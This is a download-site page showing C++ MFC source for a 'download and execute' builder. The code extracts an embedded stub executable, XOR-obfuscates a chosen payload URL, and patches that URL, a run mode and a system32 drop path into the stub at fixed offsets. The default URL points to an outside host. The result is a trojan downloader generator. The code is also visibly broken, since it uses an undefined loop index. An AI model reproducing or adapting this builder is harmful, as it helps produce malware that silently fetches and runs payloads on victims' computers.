⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 makerdlg.cpp

📁 一个简单的下载执行程序的源代码
💻 CPP
字号:
// svrDlg.cpp : implementation file
//

#include "stdafx.h"
#include "maker.h"
#include "makerDlg.h"
#include "atlbase.h"
#include "windows.h" 
#include "resource.h"
#include "stdio.h"
#pragma comment(lib,"msvcrt.lib")
#pragma comment(linker,"/FILEALIGN:0x200")
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

char key[21]="shyrjloiengkduysdxma";

/////////////////////////////////////////////////////////////////////////////
// CAboutDlg dialog used for App About
LPBYTE CString_To_LPBYTE(CString str)
{
	LPBYTE lpb=new BYTE[str.GetLength()+1];
	for(int i=0;i<str.GetLength();i++) lpb[i]=str[i];
	lpb[str.GetLength()]=0;
	return lpb;
}
class CAboutDlg : public CDialog
{
public:
	CAboutDlg();
	
	// Dialog Data
	//{{AFX_DATA(CAboutDlg)
	enum { IDD = IDD_ABOUTBOX };
	//}}AFX_DATA
	
	// ClassWizard generated virtual function overrides
	//{{AFX_VIRTUAL(CAboutDlg)
protected:
	virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support
	//}}AFX_VIRTUAL
	
	// Implementation
protected:
	//{{AFX_MSG(CAboutDlg)
	//}}AFX_MSG
	
	DECLARE_MESSAGE_MAP()
};

CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
	//{{AFX_DATA_INIT(CAboutDlg)
	//}}AFX_DATA_INIT
}

void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CAboutDlg)
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
//{{AFX_MSG_MAP(CAboutDlg)
// No message handlers
//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CSvrDlg dialog

CSvrDlg::CSvrDlg(CWnd* pParent /*=NULL*/)
: CDialog(CSvrDlg::IDD, pParent)
{
	//{{AFX_DATA_INIT(CSvrDlg)
	// NOTE: the ClassWizard will add member initialization here
	//}}AFX_DATA_INIT
	// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
	m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}

void CSvrDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CSvrDlg)
	// NOTE: the ClassWizard will add DDX and DDV calls here
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CSvrDlg, CDialog)
//{{AFX_MSG_MAP(CSvrDlg)
ON_WM_SYSCOMMAND()
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_BN_CLICKED(IDC_BUTTON1, OnButton1)
ON_BN_CLICKED(IDC_BUTTON2, OnButton2)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CSvrDlg message handlers

BOOL CSvrDlg::OnInitDialog()
{
	CDialog::OnInitDialog();
	// Add "About..." menu item to system menu.
	
	// IDM_ABOUTBOX must be in the system command range.
	ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
	ASSERT(IDM_ABOUTBOX < 0xF000);
	
	CMenu* pSysMenu = GetSystemMenu(FALSE);
	if (pSysMenu != NULL)
	{
		CString strAboutMenu;
		strAboutMenu.LoadString(IDS_ABOUTBOX);
		if (!strAboutMenu.IsEmpty())
		{
			pSysMenu->AppendMenu(MF_SEPARATOR);
			pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
		}
	}
	
	// Set the icon for this dialog.  The framework does this automatically
	//  when the application's main window is not a dialog
	SetIcon(m_hIcon, TRUE);			// Set big icon
	SetIcon(m_hIcon, FALSE);		// Set small icon
	
	// TODO: Add extra initialization here
	((CButton *)GetDlgItem(IDC_RADIO1))->SetCheck(TRUE);
	SetDlgItemText(IDC_EDIT1,"http://www.dllxia.cn/soft/UploadFile/2008-8/2008897552185739.rar"); 
    SetDlgItemText(IDC_EDIT2,"c:\\windwos\\system32\\iprip.dll");
	return TRUE;  // return TRUE  unless you set the focus to a control
}

void CSvrDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
	if ((nID & 0xFFF0) == IDM_ABOUTBOX)
	{
		CAboutDlg dlgAbout;
		dlgAbout.DoModal();
	}
	else
	{
		CDialog::OnSysCommand(nID, lParam);
	}
}

// If you add a minimize button to your dialog, you will need the code below
//  to draw the icon.  For MFC applications using the document/view model,
//  this is automatically done for you by the framework.

void CSvrDlg::OnPaint() 
{
	if (IsIconic())
	{
		CPaintDC dc(this); // device context for painting
		
		SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
		
		// Center icon in client rectangle
		int cxIcon = GetSystemMetrics(SM_CXICON);
		int cyIcon = GetSystemMetrics(SM_CYICON);
		CRect rect;
		GetClientRect(&rect);
		int x = (rect.Width() - cxIcon + 1) / 2;
		int y = (rect.Height() - cyIcon + 1) / 2;
		
		// Draw the icon
		dc.DrawIcon(x, y, m_hIcon);
	}
	else
	{
		CDialog::OnPaint();
	}
}

// The system calls this to obtain the cursor to display while the user drags
//  the minimized window.
HCURSOR CSvrDlg::OnQueryDragIcon()
{
	return (HCURSOR) m_hIcon;
}

void CSvrDlg::OnOK() 
{
	char url[256]="127.0.0.1\0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
	char downpath[256];
	//	char file[256]=GetDlgItemText(IDC_EDIT2,NULL,TRUE);
	FILE *fp;
	char ch = 0x0;
	char param26 = 0x1a;
	char param28 = 0x1c;
	char param0 = 0x0;
	
	// TODO: Add extra validation here
	
	CString str; 
	CString str1;
    GetDlgItem(IDC_EDIT1)->GetWindowText(str);
	GetDlgItem(IDC_EDIT2)->GetWindowText(str1);
	//url=(LPCTSTR)str;
	sprintf( url, "%s", str);

	//加密部分
	for(int i=0;i<21;i++)
	{
	url[i]=url[i]^key[j];
	}


	TCHAR    szModulePath[MAX_PATH] = {0};        
	CString    strCurDir;
	char  mypath[256];
	sprintf(downpath,"%s",str1);
	::GetModuleFileName(NULL, szModulePath, _MAX_PATH);  
	strCurDir  = szModulePath;  
	strCurDir  = strCurDir.Left(strCurDir.ReverseFind(TEXT('\\')));
	sprintf(mypath, "%s", strCurDir);
	strcat(mypath,"\\boot.exe");
	//	SetDlgItemText(IDC_EDIT2,mypath);
	HRSRC hResInfo = FindResource(NULL, MAKEINTRESOURCE(IDR_MYEXE1),TEXT("myexe"));
	HGLOBAL hgRes = LoadResource(NULL, hResInfo);
	void *pvRes = LockResource(hgRes);
	DWORD cbRes = SizeofResource(NULL, hResInfo);
	HANDLE hFile = CreateFile(mypath, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
	DWORD cbWritten;
	WriteFile(hFile, pvRes, cbRes, &cbWritten, 0);
	CloseHandle(hFile);
	
	//修改参数
	fp = fopen(mypath,"rb+");
	fseek(fp,0x1490,SEEK_SET);
	fwrite(&url,strlen(url),1,fp);
	fwrite(&ch,1,1,fp);
	fseek(fp,0x3bbc,SEEK_SET);
	fwrite(&url,strlen(url),1,fp);
	fwrite(&ch,1,1,fp);
	fseek(fp,0x148c,SEEK_SET);
	if(((CButton *)GetDlgItem(IDC_RADIO1))->GetCheck())
	{
		fwrite(&param26,1,1,fp);
		//fwrite(&ch,1,1,fp);
	}
	else if(((CButton *)GetDlgItem(IDC_RADIO2))->GetCheck())
	{		
		fwrite(&param28,1,1,fp);
	//	fwrite(&ch,1,1,fp);
	}
	else if(((CButton *)GetDlgItem(IDC_RADIO3))->GetCheck())
	{
		fwrite(&param0,1,1,fp);
		fseek(fp,0x1500,SEEK_SET);
		fwrite(&downpath,strlen(downpath),1,fp);
		fwrite(&ch,1,1,fp);
		//MessageBox("暂无法使用","暂无法使用",MB_OK);//不知道怎么修改,初步计划将.exe中的SHGetSpecialFolderPath()屏蔽掉或者将其第三个参数指向一个无用的内存区域
	}

	
	
	//	CDialog::OnOK();
}

void CSvrDlg::OnCancel() 
{
	// TODO: Add extra cleanup here

//	TCHAR szAppName[_MAX_PATH] = TEXT("c:\\windows\\system32\\iprip.exe"); 
//	CreateProcess(szAppName,NULL, NULL, NULL,FALSE, 0, NULL, NULL, NULL, NULL); 
	
	CDialog::OnCancel();
}

void CSvrDlg::OnButton1() 
{
}


void CSvrDlg::OnButton2() 
{
	// TODO: Add your control notification handler code here
	SetDlgItemText(IDC_EDIT1,""); 
    SetDlgItemText(IDC_EDIT2,"");	
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -